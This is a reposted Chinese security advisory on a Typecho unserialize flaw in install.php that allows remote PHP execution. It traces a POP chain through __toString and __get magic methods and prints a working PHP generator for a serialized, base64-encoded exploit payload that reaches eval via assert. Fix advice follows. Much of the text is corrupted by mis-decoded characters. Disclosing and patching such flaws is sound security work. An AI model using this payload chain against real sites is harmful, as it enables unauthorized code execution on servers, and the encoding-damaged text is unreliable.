溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

typecho前臺(tái)GETSHELL分析預(yù)警的案例

發(fā)布時(shí)間:2021-12-18 09:13:18 來源:億速云 閱讀:117 作者:小新 欄目:大數(shù)據(jù)

這篇文章主要介紹了typecho前臺(tái)GETSHELL分析預(yù)警的案例,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

0x01 漏洞描述


install.php一處if`判斷里直接處理了用戶傳入的序列化字符串,以及可以在現(xiàn)有框架中尋找到一條完整的pop執(zhí)行鏈導(dǎo)致任意php命令執(zhí)行。

0x02 漏洞攻擊面影響


影響面

        幾乎市面上的未及時(shí)更新的所有typecho都受到該漏洞影響。

影響版本

        gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5

        之前的幾乎所有版本

修復(fù)版本

        gitcommite277141c974cd740702c5ce73f7e9f382c18d84e

        以后的commit

0x03 修復(fù)方案


漏洞代碼


typecho前臺(tái)GETSHELL分析預(yù)警的案例

typecho前臺(tái)GETSHELL分析預(yù)警的案例

這里可以預(yù)想,應(yīng)該不會(huì)有顯然在__constract()中寫出危險(xiǎn)操作的開發(fā)吧

所以把思路轉(zhuǎn)向字符串拼接的時(shí)候

尋找下__toString()

其實(shí)只有三個(gè)class有這個(gè)__toString()

var/Typecho/Feed.php

var/Typecho/Config.php

var/Typecho/Db/Query.php

typecho前臺(tái)GETSHELL分析預(yù)警的案例

這里面大致出現(xiàn)了如下幾種調(diào)用

php

$item['xxx']

$item['xxx']->$yyyy

$this->

typecho前臺(tái)GETSHELL分析預(yù)警的案例

從這個(gè)點(diǎn)可以有些新的思考

因?yàn)槭欠葱蛄谢?,對象中的屬性也是我們可以控制的,那么現(xiàn)在去找找__get()方法

php

class Typecho_Config implements Iterator

class IXR_Client

class Typecho_Plugin

class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do

class Typecho_Date

class Typecho_Request

abstract class Typecho_Widget

class Typecho_Widget_Helper_Layout

有這么些個(gè)函數(shù)是帶有__get()方法的

typecho前臺(tái)GETSHELL分析預(yù)警的案例

有這么一處完整不經(jīng)過變化處理的

然后直接由call_user_func執(zhí)行構(gòu)造好的指定代碼

typecho前臺(tái)GETSHELL分析預(yù)警的案例

0x04 攻擊利用分析


Playload生成

php

<?php

class Typecho_Request

{

    private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');

    private $_filter = array('assert');

}

$payload1 = new Typecho_Request();

class Typecho_Feed

{

    private $_type = 'RSS 2.0';

    private $_items;

    public function __construct($x1)

    {

        $this->_items[] = array('author'=>$x1);

    }

}

$payload2 = new Typecho_Feed($payload1);

$exp['adapter'] = $payload2;

$exp['prefix'] = 'c1tas';

echo base64_encode(serialize($exp));

0x05 漏洞利用驗(yàn)證


驗(yàn)證截圖

typecho前臺(tái)GETSHELL分析預(yù)警的案例

0x06 修復(fù)建議


1. 及時(shí)同步官方分支

2. 注釋掉install.php相關(guān)代碼

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“typecho前臺(tái)GETSHELL分析預(yù)警的案例”這篇文章對大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來學(xué)習(xí)!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI